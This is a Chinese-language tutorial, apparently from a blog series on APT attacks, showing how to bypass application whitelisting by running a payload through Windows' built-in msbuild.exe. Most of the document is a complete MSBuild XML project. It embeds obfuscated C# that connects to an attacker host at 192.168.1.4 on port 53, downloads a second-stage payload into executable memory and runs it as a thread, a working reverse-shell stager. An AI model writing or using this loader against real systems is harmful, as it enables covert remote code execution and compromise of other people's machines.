专注APT攻击与防御

https://micropoor.blogspot.com/

MSBuild简介：

MSBuild是 Microsoft Build Engine 的缩写，代表 Microsoft 和 Visual Studio 的新的生成平台。MSBuild 在如何处理和生成软件方面是完全透明的，使开发人员能够在未安装Visual Studio 的生成实验室环境中组织和生成产品。

MSBuild 引入了一种新的基于 XML 的项目文件格式，这种格式容易理解、易于扩展并且完全受 Microsoft 支持。MSBuild 项目文件的格式使开发人员能够充分描述哪些项需要生成，以及如何利用不同的平台和配置生成这些项。

说明：Msbuild.exe所在路径没有被系统添加PATH环境变量中，因此，Msbuild命令无法识别。

基于白名单MSBuild.exe配置payload：

Windows 7默认位置为：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7靶机执行：

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Micropoor.xm l

配置攻击机msf：

附录：Micropoor.xml注：x86 payload

1 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/develo per/msbuild/2003">

2 <!‐‐ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleT asks.csproj Micropoor ‐‐>

3 <Target Name="iJEKHyTEjyCU">

4 <xUokfh />

5 </Target>

6 <UsingTask

7 TaskName="xUokfh"

8 TaskFactory="CodeTaskFactory"

9 AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsof t.Build.Tasks.v4.0.dll" >

10 <Task> 11

12 <Code Type="Class" Language="cs">

13 <![CDATA[

14 using System; using System.Net; using System.Net.Sockets; using Syste m.Linq; using System.Runtime.InteropServices; using System.Threading; usi ng Microsoft.Build.Framework; using Microsoft.Build.Utilities;

15 public class xUokfh : Task, ITask {

16 [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UIn t32 ogephG,UInt32 fZZrvQ, UInt32 nDfrBaiPvDyeP, UInt32 LWITkrW);

17 [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt3

2 qEVoJxknom, UInt32 gZyJBJWYQsnXkWe, UInt32 jyIPELfKQYEVZM,IntPtr adztS HGJiurGO, UInt32 vjSCprCJ, ref UInt32 KbPukprMQXUp);

18 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje ct(IntPtr wVCIQGmqjONiM, UInt32 DFgVrE);

19 static byte[] VYcZlUehuq(string IJBRrBqhigjGAx, int XBUCexXIrGIEpe) {

20 IPEndPoint DRHsPzS = new IPEndPoint(IPAddress.Parse(IJBRrBqhigjGAx), XBUCexXIrGIEpe);

21 Socket zCoDOd = new Socket(AddressFamily.InterNetwork, SocketType.Str eam, ProtocolType.Tcp);

22 try { zCoDOd.Connect(DRHsPzS); }

23 catch { return null;}

24 byte[] OCrGofbbWRVsFEl = new byte[4];

25 zCoDOd.Receive(OCrGofbbWRVsFEl, 4, 0);

26 int auQJTjyxYw = BitConverter.ToInt32(OCrGofbbWRVsFEl, 0);

27 byte[] MlhacMDOKUAfvMX = new byte[auQJTjyxYw + 5];

28 int GFtbdD = 0;

29 while (GFtbdD < auQJTjyxYw)

30 { GFtbdD += zCoDOd.Receive(MlhacMDOKUAfvMX, GFtbdD + 5, (auQJTjyxYw ‐ GFtbdD) < 4096 ? (auQJTjyxYw ‐ GFtbdD) : 4096, 0);}

31 byte[] YqBRpsmDUT = BitConverter.GetBytes((int)zCoDOd.Handle);

32 Array.Copy(YqBRpsmDUT, 0, MlhacMDOKUAfvMX, 1, 4); MlhacMDOKUAfvMX[0] = 0xBF;

33 return MlhacMDOKUAfvMX;}

34 static void NkoqFHncrcX(byte[] qLAvbAtan) {

35 if (qLAvbAtan != null) {

36 UInt32 jrYMBRkOAnqTqx = VirtualAlloc(0, (UInt32)qLAvbAtan.Length, 0x1 000, 0x40);

37 Marshal.Copy(qLAvbAtan, 0, (IntPtr)(jrYMBRkOAnqTqx), qLAvbAtan.Length);

38 IntPtr WCUZoviZi = IntPtr.Zero;

39 UInt32 JhtJOypMKo = 0;

40 IntPtr UxebOmhhPw = IntPtr.Zero;

41 WCUZoviZi = CreateThread(0, 0, jrYMBRkOAnqTqx, UxebOmhhPw, 0, ref Jht JOypMKo);

42 WaitForSingleObject(WCUZoviZi, 0xFFFFFFFF); }} 43

44 public override bool Execute()

45 {

46 byte[] uABVbNXmhr = null; uABVbNXmhr = VYcZlUehuq("192.168.1.4", 53);

47 NkoqFHncrcX(uABVbNXmhr); 48

49 return true; } }

50 ]]>

51 </Code>

52 </Task>

53 </UsingTask>

54 </Project>

Micropoor